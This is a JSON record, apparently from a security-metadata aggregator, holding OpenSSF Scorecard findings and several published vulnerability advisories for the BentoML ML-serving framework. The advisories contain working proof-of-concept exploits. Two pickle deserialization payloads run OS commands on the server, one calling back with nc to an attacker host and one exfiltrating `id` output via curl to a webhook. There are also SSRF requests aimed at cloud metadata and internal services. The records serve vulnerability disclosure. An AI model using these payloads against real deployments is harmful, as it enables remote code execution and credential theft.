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GitHubAction not pinned by hash: .github/workflows/ci.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:90: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:103: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:120: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:124: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:131: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:133: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:144: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:173: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:178: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:180: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:182: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:193: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:208: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:212: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:217: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:227: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:232: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:241: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:247: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:261: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cleanup.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cleanup.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cqa.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cqa.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: .devcontainer/Dockerfile:3: pin your Docker image by updating python:3-bullseye to python:3-bullseye@sha256:f58f33e0563f2ba81c7afe6259cd912f0c33413da93c75cc3a70a941c17afa8c","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:3","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:15","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:25","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:39","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:72","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:107","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:134","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:166","Warn: pipCommand not pinned by hash: .devcontainer/Dockerfile:42-44","Warn: pipCommand not pinned by hash: tools/dev.Dockerfile:23","Warn: pipCommand not pinned by hash: tools/dev.Dockerfile:33","Warn: pipCommand not pinned by hash: .devcontainer/library-scripts/docker-debian.sh:226","Warn: downloadThenRun not pinned by hash: .devcontainer/lifecycle/post-start:9","Info:   0 out of  29 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  12 third-party GitHubAction dependencies pinned","Info:   0 out of   9 containerImage dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned","Info:   0 out of   1 downloadThenRun dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 26 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":0,"reason":"129 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-9548-qrrj-x5pj","Warn: Project is vulnerable to: GHSA-vqfr-h8mv-ghfj","Warn: Project is vulnerable to: GHSA-cpwx-vrp4-4pq7","Warn: Project is vulnerable to: GHSA-gmj6-6f8f-6699","Warn: Project is vulnerable to: GHSA-q2x7-8rv6-6q7h","Warn: Project is vulnerable to: GHSA-8qvm-5x2c-j2w7","Warn: Project is vulnerable to: PYSEC-2025-23 / GHSA-w4rh-fgx7-q63m","Warn: Project is vulnerable to: GHSA-9hjg-9r4m-mvj7","Warn: Project is vulnerable to: PYSEC-2025-49 / GHSA-5rjg-fvgr-3xxf","Warn: Project is vulnerable to: GHSA-2c2j-9gv5-cj73","Warn: Project is vulnerable to: GHSA-7cx3-6m66-7c5m","Warn: Project is vulnerable to: GHSA-8w49-h785-mj3c","Warn: Project is vulnerable to: GHSA-pq67-6m6q-mj2v","Warn: Project is vulnerable to: PYSEC-2024-187 / GHSA-rqc4-2hc7-8c8v","Warn: Project is vulnerable to: GHSA-mr82-8j83-vxmv","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: GHSA-3749-ghw9-m3mg","Warn: Project is vulnerable to: PYSEC-2022-43015 / GHSA-47fc-vmwq-366v","Warn: Project is vulnerable to: PYSEC-2025-41 / GHSA-53q9-r3pm-6pq6","Warn: Project is vulnerable to: PYSEC-2024-252 / GHSA-5pcm-hx3q-hm94","Warn: Project is vulnerable to: GHSA-887c-mr87-cxwp","Warn: Project is vulnerable to: PYSEC-2024-251 / GHSA-pg7h-5qx3-wjr3","Warn: Project is vulnerable to: PYSEC-2024-250","Warn: Project is vulnerable to: PYSEC-2024-259","Warn: Project is vulnerable to: GHSA-3c5c-7235-994j","Warn: Project is vulnerable to: GHSA-3f63-hfp8-52jq","Warn: Project is vulnerable to: PYSEC-2021-41 / GHSA-3wvg-mj6g-m9cv","Warn: Project is vulnerable to: PYSEC-2020-77 / GHSA-3xv8-3j54-hgrp","Warn: Project is vulnerable to: PYSEC-2020-80 / GHSA-43fq-w8qq-v88h","Warn: Project is vulnerable to: GHSA-44wm-f244-xhp3","Warn: Project is vulnerable to: GHSA-4fx9-vc88-q2xc","Warn: Project is vulnerable to: PYSEC-2021-35 / GHSA-57h3-9rgr-c24m","Warn: Project is vulnerable to: PYSEC-2020-172 / GHSA-5gm3-px64-rw72","Warn: Project is vulnerable to: PYSEC-2021-331 / GHSA-7534-mm45-c74v","Warn: Project is vulnerable to: PYSEC-2021-92 / GHSA-7r7m-5h27-29hp","Warn: Project is vulnerable to: PYSEC-2020-78 / GHSA-8843-m7mw-mxqm","Warn: Project is vulnerable to: PYSEC-2023-227 / GHSA-8ghj-p4vj-mr35","Warn: Project is vulnerable to: PYSEC-2014-87 / GHSA-8m9x-pxwq-j236","Warn: Project is vulnerable to: PYSEC-2022-10 / GHSA-8vj2-vxx3-667w","Warn: Project is vulnerable to: PYSEC-2021-36 / GHSA-8xjq-8fcg-g5hw","Warn: Project is vulnerable to: PYSEC-2016-6 / GHSA-8xjv-v9xq-m5h9","Warn: Project is vulnerable to: PYSEC-2021-42 / GHSA-95q3-8gr9-gm8w","Warn: Project is vulnerable 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It allows any unauthenticated user to execute arbitrary code on the server.\n\n### Details\nIt exists an unsafe code segment in `serde.py`: \n```Python\ndef deserialize_value(self, payload: Payload) -\u003e t.Any:\n    if \"buffer-lengths\" not in payload.metadata:\n        return pickle.loads(b\"\".join(payload.data))\n```\nThrough data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.\n\n### PoC\nEnvironment:\n\n- Server host:\n  - IP: 10.98.36.123\n  - OS: Ubuntu \n- Attack host:\n  - IP: 10.98.36.121\n  - OS: Ubuntu \n\n\n\n1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.\n\n1.1 Install BentoML (Server host: 10.98.36.123) :\n` pip install -U bentoml`\n\n1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :\n``` Python\nfrom __future__ import annotations\n\nimport bentoml\n\n@bentoml.service(\n    resources={\"cpu\": \"4\"}\n)\nclass Summarization:\n    def __init__(self) -\u003e None:\n        import torch\n        from transformers import pipeline\n\n        device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n        self.pipeline = pipeline('summarization', device=device)\n\n    @bentoml.api(batchable=True)\n    def summarize(self, texts: list[str]) -\u003e list[str]:\n        results = self.pipeline(texts)\n        return [item['summary_text'] for item in results]\n```\n\n\n1.3 Run the service code (Server host: 10.98.36.123) :\n``` Bash\npip install torch transformers  # additional dependencies for local run\n\nbentoml serve\n```\n\n\n2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :\n`nc -lvvp 1234`\n\n3. Send maliciously crafted request (Attack host: 10.98.36.121) :\n``` Python\nimport pickle\nimport os\nimport requests\n\nheaders = {'Content-Type': 'application/vnd.bentoml+pickle'}\n\nclass Evil:\n    def __reduce__(self):\n        return(os.system, ('nc 10.98.36.121 1234',))\n\npayload = pickle.dumps(Evil())\n\nrequests.post(\"http://10.98.36.123:3000/summarize\", data=payload, headers=headers)\n```\n\n\n4. Attack success (Attack host: 10.98.36.121) :\nThe server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.\n![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)\n\n\n\n### Impact\nRemote Code Execution (RCE).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-04-04T16:05:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/bentoml/BentoML/security/advisories/GHSA-33xw-247w-6hmc","https://nvd.nist.gov/vuln/detail/CVE-2025-27520","https://github.com/bentoml/BentoML/commit/b35f4f4fcc53a8c3fe8ed9c18a013fe0a728e194","https://github.com/advisories/GHSA-33xw-247w-6hmc"],"source_kind":"github","identifiers":["GHSA-33xw-247w-6hmc","CVE-2025-27520"],"repository_url":"https://github.com/bentoml/BentoML","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"1.4.3","vulnerable_version_range":"\u003e= 1.3.4, \u003c 1.4.3"}],"ecosystem":"pypi","package_name":"bentoml"}],"created_at":"2025-04-04T17:08:13.675Z","updated_at":"2025-04-04T16:05:34.000Z","epss_percentage":0.65875,"epss_percentile":0.98426},{"uuid":"GSA_kwCzR0hTQS1oaDNqLTltNTktcDh2Y84ABFq7","url":"https://github.com/advisories/GHSA-hh3j-9m59-p8vc","title":"BentoML vulnerable to Uncontrolled Resource Consumption","description":"In bentoml/bentoml version 1.3.9, the `/login` endpoint of the newly integrated Gradio app is vulnerable to a Denial of Service (DoS) attack. This vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. The server continuously processes each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-03-20T12:32:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://huntr.com/bounties/e467ec92-0ad1-4461-8468-1beabf701b9f","https://nvd.nist.gov/vuln/detail/CVE-2024-8966","https://huntr.com/bounties/7b5932bb-58d1-4e71-b85c-43dc40522ff2","https://github.com/advisories/GHSA-hh3j-9m59-p8vc"],"source_kind":"github","identifiers":["GHSA-hh3j-9m59-p8vc"],"repository_url":null,"blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.3.9"}],"ecosystem":"pypi","package_name":"bentoml"}],"created_at":"2025-03-21T18:08:01.864Z","updated_at":"2025-04-15T19:35:12.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS03djRyLWM5ODkteGgyNs4ABGn-","url":"https://github.com/advisories/GHSA-7v4r-c989-xh26","title":"BentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization","description":"### Summary\nThere was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.\n\n### PoC\n - First, create a file named **model.py** to create a simple model and save it\n```\nimport bentoml\nimport numpy as np\n\nclass mymodel:\n    def predict(self, info):\n        return np.abs(info)\n    def __call__(self, info):\n        return self.predict(info)\n\nmodel = mymodel()\nbentoml.picklable_model.save_model(\"mymodel\", model)\n```\n- Then run the following command to save this model\n```\npython3 model.py\n```\n- Next, create **bentofile.yaml** to build this model\n```\nservice: \"service.py\"  \ndescription: \"A model serving service with BentoML\"  \npython:\n  packages:\n    - bentoml\n    - numpy\nmodels:\n  - tag: MyModel:latest  \ninclude:\n  - \"*.py\"  \n```\n- Then, create **service.py** to host this model\n```\nimport bentoml\nfrom bentoml.io import NumpyNdarray\nimport numpy as np\n\n\nmodel_runner = bentoml.picklable_model.get(\"mymodel:latest\").to_runner()\n\nsvc = bentoml.Service(\"myservice\", runners=[model_runner])\n\nasync def predict(input_data: np.ndarray):\n\n    input_columns = np.split(input_data, input_data.shape[1], axis=1)\n    result_generator = model_runner.async_run(input_columns, is_stream=True)\n    async for result in result_generator:\n        yield result\n```\n- Then, run the following commands to build and host this model\n```\nbentoml build\nbentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888\n```\n- Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server.\n```\nimport requests\nimport pickle\n\nurl = \"http://0.0.0.0:8888/\"\n\nheaders = {\n    \"args-number\": \"1\",\n    \"Content-Type\": \"application/vnd.bentoml.pickled\",\n    \"Payload-Container\": \"NdarrayContainer\", \n    \"Payload-Meta\": '{\"format\": \"default\"}',\n    \"Batch-Size\": \"-1\",\n}\n\nclass P:\n    def __reduce__(self):\n        return  (__import__('os').system, ('curl -X POST -d \"$(id)\" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))\n\nresponse = requests.post(url, headers=headers, data=pickle.dumps(P()))\n\nprint(response)\n```\nAnd I can replace the **NdarrayContainer** with **PandasDataFrameContainer** in **Payload-Container** header and the exploit still working.\nAfter running **exploit.py** then the output of the command **id** will be send out to the WebHook server.\n\n### Root Cause Analysis:\n\n- When handling a request in BentoML runner server in `src/bentoml/_internal/server/runner_app.py`, when the request header `args-number` is equal to 1, it will call the function `_deserialize_single_param` like the code below:\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298\nasync def _request_handler(request: Request) -\u003e Response:\n    assert self._is_ready\n\n    arg_num = int(request.headers[\"args-number\"])\n    r_: bytes = await request.body()\n\n    if arg_num == 1:\n        params: Params[t.Any] = _deserialize_single_param(request, r_)\n```\n- Then this is the function of `_deserialize_single_param`, which will take the value of all request headers of `Payload-Container`, `Payload-Meta` and `Batch-Size` and the crafted into `Payload` class which will contain the data from `request.body`\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393\ndef _deserialize_single_param(request: Request, bs: bytes) -\u003e Params[t.Any]:\n    container = request.headers[\"Payload-Container\"]\n    meta = json.loads(request.headers[\"Payload-Meta\"])\n    batch_size = int(request.headers[\"Batch-Size\"])\n    kwarg_name = request.headers.get(\"Kwarg-Name\")\n    payload = Payload(\n        data=bs,\n        meta=meta,\n        batch_size=batch_size,\n        container=container,\n    )\n    if kwarg_name:\n        d = {kwarg_name: payload}\n        params: Params[t.Any] = Params(**d)\n    else:\n        params: Params[t.Any] = Params(payload)\n\n    return params\n```\n- After crafting `Params` containing payload, it will call to function `infer` with `params` variable as input\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L303-L304\ntry:\n  payload = await infer(params)\n```\n- Inside function `infer`, the `params` variable with is belong to class `Params` will call the function `map` of that class with `AutoContainer.from_payload` as a parameter.\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L278-L289\nasync def infer(params: Params[t.Any]) -\u003e Payload:\n      params = params.map(AutoContainer.from_payload)\n\n      try:\n          ret = await runner_method.async_run(\n              *params.args, **params.kwargs\n          )\n      except Exception:\n          traceback.print_exc()\n          raise\n\n      return AutoContainer.to_payload(ret, 0)\n```\n- Inside class `Params` define the function `map` which will call the `AutoContainer.from_payload` function with arguments, which are `data`, `meta`, `batch_size` and `container`\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/utils.py#L59-L66\ndef map(self, function: t.Callable[[T], To]) -\u003e Params[To]:\n    \"\"\"\n    Apply a function to all the values in the Params and return a Params of the\n    return values.\n    \"\"\"\n    args = tuple(function(a) for a in self.args)\n    kwargs = {k: function(v) for k, v in self.kwargs.items()}\n    return Params[To](*args, **kwargs)\n```\n- Inside class `AutoContainer` class have defined the function `from_payload` which will find the class by the `payload.container` , which is the value of header `Payload-Container`, and it will call the function `from_payload` from the chosen class as return value\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L710-L712\ndef from_payload(cls, payload: Payload) -\u003e t.Any:\n    container_cls = DataContainerRegistry.find_by_name(payload.container)\n    return container_cls.from_payload(payload)\n```\nAnd if the attacker set value of header `Payload-Container` to `NdarrayContainer` or `PandasDataFrameContainer`, it will call `from_payload` and when it then check if the `payload.meta[\"format\"] == \"default\"` it will call `pickle.loads(payload.data)` and `payload.meta[\"format\"]` is the value of header `Payload-Meta` and the attacker can set it to `{\"format\": \"default\"}` and `payload.data` is the value of `request.body` which is the payload from malicious `class P` in my request, which will trigger `__reduce__` method and then execute arbitrary commands (for my example is the `curl` command)\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L411-L416\ndef from_payload(\n    cls,\n    payload: Payload,\n) -\u003e ext.PdDataFrame:\n    if payload.meta[\"format\"] == \"default\":\n        return pickle.loads(payload.data)\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L306-L312\ndef from_payload(\n    cls,\n    payload: Payload,\n) -\u003e ext.NpNDArray:\n    format = payload.meta.get(\"format\", \"default\")\n    if format == \"default\":\n        return pickle.loads(payload.data)\n```\n### Impact\nIn the above Proof of Concept, I have shown how the attacker can execute command **id** and send the output of the command to the outside. By replacing **id** command with any OS commands, this insecure deserialization in BentoML's runner server will grant the attacker the permission to gain the remote shell on the server and injecting backdoors to persist access.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-04-09T12:59:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/bentoml/BentoML/security/advisories/GHSA-7v4r-c989-xh26","https://nvd.nist.gov/vuln/detail/CVE-2025-32375","https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2025-32.yaml","https://github.com/advisories/GHSA-7v4r-c989-xh26"],"source_kind":"github","identifiers":["GHSA-7v4r-c989-xh26","CVE-2025-32375"],"repository_url":"https://github.com/bentoml/BentoML","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"1.4.8","vulnerable_version_range":"\u003e= 1.0.0a1, \u003c 1.4.8"}],"ecosystem":"pypi","package_name":"bentoml"}],"created_at":"2025-04-09T13:08:53.596Z","updated_at":"2025-08-10T01:57:38.798Z","epss_percentage":0.44142,"epss_percentile":0.97434},{"uuid":"GSA_kwCzR0hTQS1tcm1xLTNxNjItNmNjOM4ABKnn","url":"https://github.com/advisories/GHSA-mrmq-3q62-6cc8","title":"BentoML SSRF Vulnerability in File Upload Processing  ","description":"### Description\n\nThere's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.\n\nThe framework automatically registers any service endpoint with file-type parameters (`pathlib.Path`, `PIL.Image.Image`) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the `JSONSerde` path, the `MultipartSerde` path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.\n\nThe documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.\n\n### Source - Sink Analysis\n\n**Source:** User-controlled multipart form field values and JSON request bodies containing URLs\n\n**Call Chain - Path 1 (MultipartSerde - No Validation):**\n1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters  \n2. `MultipartSerde.parse_request()` in `src/_bentoml_impl/serde.py:202` processes the request\n3. `form = await request.form()` parses multipart data using Starlette\n4. For file-type fields: `value = [await self.ensure_file(v) for v in form.getlist(k)]` at line 209\n5. `MultipartSerde.ensure_file()` called at lines 186-200 with user-controlled string URL\n6. **Sink:** `resp = await client.get(obj)` at line 193 - Direct HTTP request with zero validation\n\n**Call Chain - Path 2 (JSONSerde - Weak Validation):**  \n1. HTTP POST request with JSON body containing URL to endpoint with `IORootModel` + `multipart_fields`\n2. `JSONSerde.parse_request()` in `src/_bentoml_impl/serde.py:157` processes the request\n3. `body = await request.body()` extracts request body\n4. Condition check: `if issubclass(cls, IORootModel) and cls.multipart_fields:` at line 164\n5. Weak validation: `if is_http_url(url := body.decode(\"utf-8\", \"ignore\")):` at line 165 (only checks scheme)\n6. **Sink:** `resp = await client.get(url)` at line 168 - HTTP request after insufficient validation\n\n### Proof of Concept\n\nCreate a BentoML service:\n```python\nfrom pathlib import Path\nimport bentoml\n\n@bentoml.service  \nclass ImageProcessor:\n    @bentoml.api\n    def process_image(self, image: Path) -\u003e str:\n        return f\"Processed image: {image}\"\n```\n\nDeploy and exploit:\n```bash\n# Start service (binds to 0.0.0.0:3000 by default)\nbentoml serve service.py:ImageProcessor\n\n# SSRF Attack 1 - Access AWS metadata  \ncurl -X POST http://target:3000/process_image \\\n     -F 'image=http://169.254.169.254/latest/meta-data/'\n\n# SSRF Attack 2 - Internal service enumeration\ncurl -X POST http://target:3000/process_image \\  \n     -F 'image=http://localhost:8080/admin'\n\n# SSRF Attack 3 - Internal network scanning\ncurl -X POST http://target:3000/process_image \\\n     -F 'image=http://10.0.0.1:22'\n```\n\nExpected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.\n\n### Impact\n- Access AWS/GCP/Azure cloud metadata services for credential theft\n- Enumerate and interact with internal HTTP services and APIs  \n- Bypass firewall restrictions to reach internal network resources\n- Perform network reconnaissance from the server's perspective\n- Retrieve sensitive information disclosed in HTTP response data\n- Potential for internal service exploitation through crafted requests\n\n### Remediation  \n\nImplement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing `is_http_url()` function should be enhanced to include allowlist validation rather than just scheme checking.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-07-29T19:24:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/bentoml/BentoML/security/advisories/GHSA-mrmq-3q62-6cc8","https://github.com/bentoml/BentoML/commit/534c3584621da4ab954bdc3d814cc66b95ae5fb8","https://nvd.nist.gov/vuln/detail/CVE-2025-54381","https://github.com/advisories/GHSA-mrmq-3q62-6cc8"],"source_kind":"github","identifiers":["GHSA-mrmq-3q62-6cc8","CVE-2025-54381"],"repository_url":"https://github.com/bentoml/BentoML","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"1.4.19","vulnerable_version_range":"\u003e= 1.4.0, \u003c 1.4.19"}],"ecosystem":"pypi","package_name":"bentoml"}],"created_at":"2025-07-29T21:09:54.277Z","updated_at":"2025-07-30T11:43:57.000Z","epss_percentage":0.00083,"epss_percentile":0.24968},{"uuid":"GSA_kwCzR0hTQS1odzhqLWh3NDktNzUyY84ABFu8","url":"https://github.com/advisories/GHSA-hw8j-hw49-752c","title":"BentoML Denial of Service (DoS) via Multipart Boundary","description":"BentoML version v1.3.4post1 is vulnerable to a Denial of Service (DoS) attack. The vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. This causes the server to continuously process each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction, impacting all users of the 